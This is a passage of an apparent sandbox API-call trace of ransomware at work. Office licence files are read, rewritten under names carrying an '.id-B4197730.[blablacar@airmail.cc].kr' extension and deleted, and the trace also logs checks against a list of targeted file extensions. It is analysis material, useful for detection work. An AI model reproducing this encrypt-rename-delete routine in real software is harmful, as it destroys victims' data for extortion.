lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x4de0, lpOverlapped=0x0) returned 1 [0210.158] ReadFile (in: hFile=0x53c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0210.158] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10e, lpOverlapped=0x0) returned 1 [0210.158] SetEndOfFile (hFile=0x3f8) returned 1 [0210.159] CloseHandle (hObject=0x3f8) returned 1 [0210.159] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.159] SetEndOfFile (hFile=0x53c) returned 1 [0210.161] CloseHandle (hObject=0x53c) returned 1 [0210.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-phn.xrm-ms")) returned 1 [0210.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79 [0210.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79 [0210.163] lstrlenW (lpString=".doc") returned 4 [0210.163] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.163] lstrlenW (lpString=".docx") returned 5 [0210.163] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.163] lstrlenW (lpString=".pdf") returned 4 [0210.163] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.163] lstrlenW (lpString=".xls") returned 4 [0210.163] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.164] lstrlenW (lpString=".xlsx") returned 5 [0210.164] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.164] lstrlenW (lpString=".ppt") returned 4 [0210.164] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79 [0210.164] lstrlenW (lpString=".zip") returned 4 [0210.164] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.164] lstrlenW (lpString=".rar") returned 4 [0210.164] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.164] lstrlenW (lpString=".bz2") returned 4 [0210.164] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.164] lstrlenW (lpString=".7z") returned 3 [0210.164] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79 [0210.164] lstrlenW (lpString=".dbf") returned 4 [0210.164] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79 [0210.164] lstrlenW (lpString=".1cd") returned 4 [0210.164] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79 [0210.164] lstrlenW (lpString=".jpg") returned 4 [0210.164] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79 [0210.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79 [0210.164] lstrlenW (lpString=".doc") returned 4 [0210.164] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.164] lstrlenW (lpString=".docx") returned 5 [0210.164] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.164] lstrlenW (lpString=".pdf") returned 4 [0210.164] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.164] lstrlenW (lpString=".xls") returned 4 [0210.164] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.165] lstrlenW (lpString=".xlsx") returned 5 [0210.165] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.165] lstrlenW (lpString=".ppt") returned 4 [0210.165] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79 [0210.165] lstrlenW (lpString=".zip") returned 4 [0210.165] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.165] lstrlenW (lpString=".rar") returned 4 [0210.165] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.165] lstrlenW (lpString=".bz2") returned 4 [0210.165] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.165] lstrlenW (lpString=".7z") returned 3 [0210.165] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79 [0210.165] lstrlenW (lpString=".dbf") returned 4 [0210.165] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79 [0210.165] lstrlenW (lpString=".1cd") returned 4 [0210.165] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79 [0210.165] lstrlenW (lpString=".jpg") returned 4 [0210.165] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.165] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0210.165] lstrlenW (lpString="OneNoteVL_MAK-ul-phn.xrm-ms") returned 27 [0210.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0210.166] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=19931) returned 1 [0210.166] CloseHandle (hObject=0x53c) returned 1 [0210.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-phn.xrm-ms")) returned 0x220 [0210.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0210.167] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.167] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0210.169] GetLastError () returned 0x0 [0210.169] ReadFile (in: hFile=0x53c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x4ddb, lpOverlapped=0x0) returned 1 [0210.171] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x4de0, lpOverlapped=0x0) returned 1 [0210.172] ReadFile (in: hFile=0x53c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0210.172] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10a, lpOverlapped=0x0) returned 1 [0210.173] SetEndOfFile (hFile=0x3f8) returned 1 [0210.173] CloseHandle (hObject=0x3f8) returned 1 [0210.173] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.173] SetEndOfFile (hFile=0x53c) returned 1 [0210.176] CloseHandle (hObject=0x53c) returned 1 [0210.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-phn.xrm-ms")) returned 1 [0210.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77 [0210.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77 [0210.177] lstrlenW (lpString=".doc") returned 4 [0210.177] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.177] lstrlenW (lpString=".docx") returned 5 [0210.177] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.177] lstrlenW (lpString=".pdf") returned 4 [0210.177] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.177] lstrlenW (lpString=".xls") returned 4 [0210.177] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.177] lstrlenW (lpString=".xlsx") returned 5 [0210.177] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.177] lstrlenW (lpString=".ppt") returned 4 [0210.177] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77 [0210.177] lstrlenW (lpString=".zip") returned 4 [0210.177] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.178] lstrlenW (lpString=".rar") returned 4 [0210.178] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.178] lstrlenW (lpString=".bz2") returned 4 [0210.178] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.178] lstrlenW (lpString=".7z") returned 3 [0210.178] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77 [0210.178] lstrlenW (lpString=".dbf") returned 4 [0210.178] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77 [0210.178] lstrlenW (lpString=".1cd") returned 4 [0210.178] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77 [0210.178] lstrlenW (lpString=".jpg") returned 4 [0210.178] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77 [0210.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77 [0210.178] lstrlenW (lpString=".doc") returned 4 [0210.178] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.178] lstrlenW (lpString=".docx") returned 5 [0210.178] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.178] lstrlenW (lpString=".pdf") returned 4 [0210.178] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.178] lstrlenW (lpString=".xls") returned 4 [0210.178] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.178] lstrlenW (lpString=".xlsx") returned 5 [0210.178] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.178] lstrlenW (lpString=".ppt") returned 4 [0210.178] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77 [0210.178] lstrlenW (lpString=".zip") returned 4 [0210.178] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.179] lstrlenW (lpString=".rar") returned 4 [0210.179] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.179] lstrlenW (lpString=".bz2") returned 4 [0210.179] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.179] lstrlenW (lpString=".7z") returned 3 [0210.179] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77 [0210.179] lstrlenW (lpString=".dbf") returned 4 [0210.179] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77 [0210.179] lstrlenW (lpString=".1cd") returned 4 [0210.179] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77 [0210.179] lstrlenW (lpString=".jpg") returned 4 [0210.179] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.179] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0210.179] lstrlenW (lpString="OutlookR_Grace-ppd.xrm-ms") returned 25 [0210.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0210.180] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=20776) returned 1 [0210.180] CloseHandle (hObject=0x53c) returned 1 [0210.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ppd.xrm-ms")) returned 0x220 [0210.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0210.180] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.180] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0210.181] GetLastError () returned 0x0 [0210.181] ReadFile (in: hFile=0x53c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x5128, lpOverlapped=0x0) returned 1 [0210.183] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5130, lpOverlapped=0x0) returned 1 [0210.185] ReadFile (in: hFile=0x53c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0210.185] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x106, lpOverlapped=0x0) returned 1 [0210.185] SetEndOfFile (hFile=0x3f8) returned 1 [0210.185] CloseHandle (hObject=0x3f8) returned 1 [0210.185] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.185] SetEndOfFile (hFile=0x53c) returned 1 [0210.188] CloseHandle (hObject=0x53c) returned 1 [0210.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ppd.xrm-ms")) returned 1 [0210.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75 [0210.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75 [0210.192] lstrlenW (lpString=".doc") returned 4 [0210.192] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.192] lstrlenW (lpString=".docx") returned 5 [0210.192] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.193] lstrlenW (lpString=".pdf") returned 4 [0210.193] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.193] lstrlenW (lpString=".xls") returned 4 [0210.193] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.193] lstrlenW (lpString=".xlsx") returned 5 [0210.193] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.193] lstrlenW (lpString=".ppt") returned 4 [0210.193] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75 [0210.193] lstrlenW (lpString=".zip") returned 4 [0210.193] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.193] lstrlenW (lpString=".rar") returned 4 [0210.193] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.193] lstrlenW (lpString=".bz2") returned 4 [0210.193] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.193] lstrlenW (lpString=".7z") returned 3 [0210.193] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75 [0210.193] lstrlenW (lpString=".dbf") returned 4 [0210.193] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75 [0210.193] lstrlenW (lpString=".1cd") returned 4 [0210.193] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75 [0210.193] lstrlenW (lpString=".jpg") returned 4 [0210.193] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75 [0210.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75 [0210.193] lstrlenW (lpString=".doc") returned 4 [0210.193] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.193] lstrlenW (lpString=".docx") returned 5 [0210.193] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.193] lstrlenW (lpString=".pdf") returned 4 [0210.194] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.194] lstrlenW (lpString=".xls") returned 4 [0210.194] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.194] lstrlenW (lpString=".xlsx") returned 5 [0210.194] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.194] lstrlenW (lpString=".ppt") returned 4 [0210.194] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75 [0210.194] lstrlenW (lpString=".zip") returned 4 [0210.194] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.194] lstrlenW (lpString=".rar") returned 4 [0210.194] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.194] lstrlenW (lpString=".bz2") returned 4 [0210.194] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.194] lstrlenW (lpString=".7z") returned 3 [0210.194] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75 [0210.194] lstrlenW (lpString=".dbf") returned 4 [0210.194] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75 [0210.194] lstrlenW (lpString=".1cd") returned 4 [0210.194] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75 [0210.194] lstrlenW (lpString=".jpg") returned 4 [0210.194] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.194] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0210.194] lstrlenW (lpString="OutlookR_Grace-ul-oob.xrm-ms") returned 28 [0210.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0210.195] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11599) returned 1 [0210.195] CloseHandle (hObject=0x53c) returned 1 [0210.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ul-oob.xrm-ms")) returned 0x220 [0210.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0210.619] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.619] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 